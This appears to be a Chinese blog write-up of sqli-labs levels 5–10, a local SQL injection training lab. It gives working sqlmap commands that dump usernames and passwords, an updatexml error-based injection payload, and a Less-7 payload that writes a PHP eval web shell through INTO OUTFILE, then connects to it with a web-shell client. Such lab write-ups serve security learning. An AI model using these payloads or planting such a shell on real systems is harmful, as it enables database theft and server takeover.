• sql-ilabs闯关5-10关——通关记录


    sqli-labs闯关5-10关——通关记录

    Less-5

    首先测试闭合方式,输入?id=1显示you are in...,之后输入?id=1',可以看见显示报错,猜测是单引号闭合,且可以使用布尔盲注或者报错注入

    直接使用sqlmap跑

    python sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-5/?id=1" --dbs --batch

    __SA~G_5_@I~I_Q36@MCK_G.png

    接下来执行命令,爆表

    python sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-5/?id=1" -D "security" --tables --batch    #查询security数据库中的表单

    Q__~3`H1N_JRFWKWD@~_SEN.png

    随后,爆字段

    python sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-5/?id=1" -T "users" --columns --batch  #查询users中的列

    F_H_YL~P7_C16CI84QE47_C.png

    爆字段内容

    python sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-5/?id=1" --dump -C "username,password" -T "users" -D "security" --batch

    _AZLR921KW3_EN5FG_RMH54.png

    结束

    也可直接使用报错注入,原理是 count函数后面如果使用分组语句就会把查询的一部分以错误的形式显示出来。

    /?id=1' and (updatexml(1,concat(0x7e,(select database()),0x7e),1)) --+

    直接修改 select database()部分,如

    select version()    #查询数据库版本
    select user() #查询目标服务器用户名

    注:0x7e 是 ‘~’ 号

    Less-6

    测试闭合方式,可以看出和Less-5是一个类型,但是闭合方式为双引号

    步骤和Less-5一样,不再重复

    Less-7

    可以知道本关可以利用文件导入的方式进行注入,使用此漏洞需要知道WEB程序的根路径并且MYSQL的secure-file-priv配置应为可写入该路径

    那我们这里利用上述提到的文件导入的方式进行演示: @@datadir 读取数据库路径 @@basedir MYSQL 获取安装路径

    可以选择直接在Less-1中查看相关内容

    EV_X~_KH0YAA1`M_I_URO5I.png

    可以查看源代码,得知其为'))闭合,随后写入文件

    union select 1,'2','<?php @eval($_POST["giantbranch"]);?>' into outfile 'E:phpstudy_proWWWsqli-labsLess-7muma.php' --+

    之后利用菜刀链接就行

    也可以使用sqlmap跑,步骤和Less-5一样

    Less-8

    测试闭合,加上' 或者 不报错,猜测是布尔盲注,利用sqlmap跑

    python sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-8/?id=1" --technique B --dbms mysql --dbs --batch

     

    步骤和Less-5相同

    Less-9

    测试闭合,无论怎么加都不报错,用sleep延时猜测是单引号闭合,猜测是基于时间的盲注,利用sqlmap跑

    python sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-9/?id=1" --technique T --dbms mysql --dbs --batch

    剩余步骤类似Less-5

    Less-10

    类型和Less-9一样,闭合方式是双引号,不多重复

     

     

  • 相关阅读:
    js实现各种复制到剪贴板的方法
    PowerDesigner生成数据字典
    oracle实用sql之将逗号分割的字符串分割多个列
    ROW_NUMBER() OVER()函数用法;(分组,排序),partition by
    SQL Server 2008中的CTE递归查询得到一棵树
    【GoLang】GoLang 错误处理 -- 使用 error is value 的思路处理,检查并处理error
    【GoLang】golang 报管理工具 Godep 介绍
    【GoLang】GoLang 错误处理 -- 使用异常的思路进行处理
    【GoLang】GoLang 官方 对 error 处理的意见
    【GoLang】panic defer recover 深入理解
  • 原文地址:https://www.cnblogs.com/yyy-fff/p/13805746.html
Copyright © 2020-2023  润新知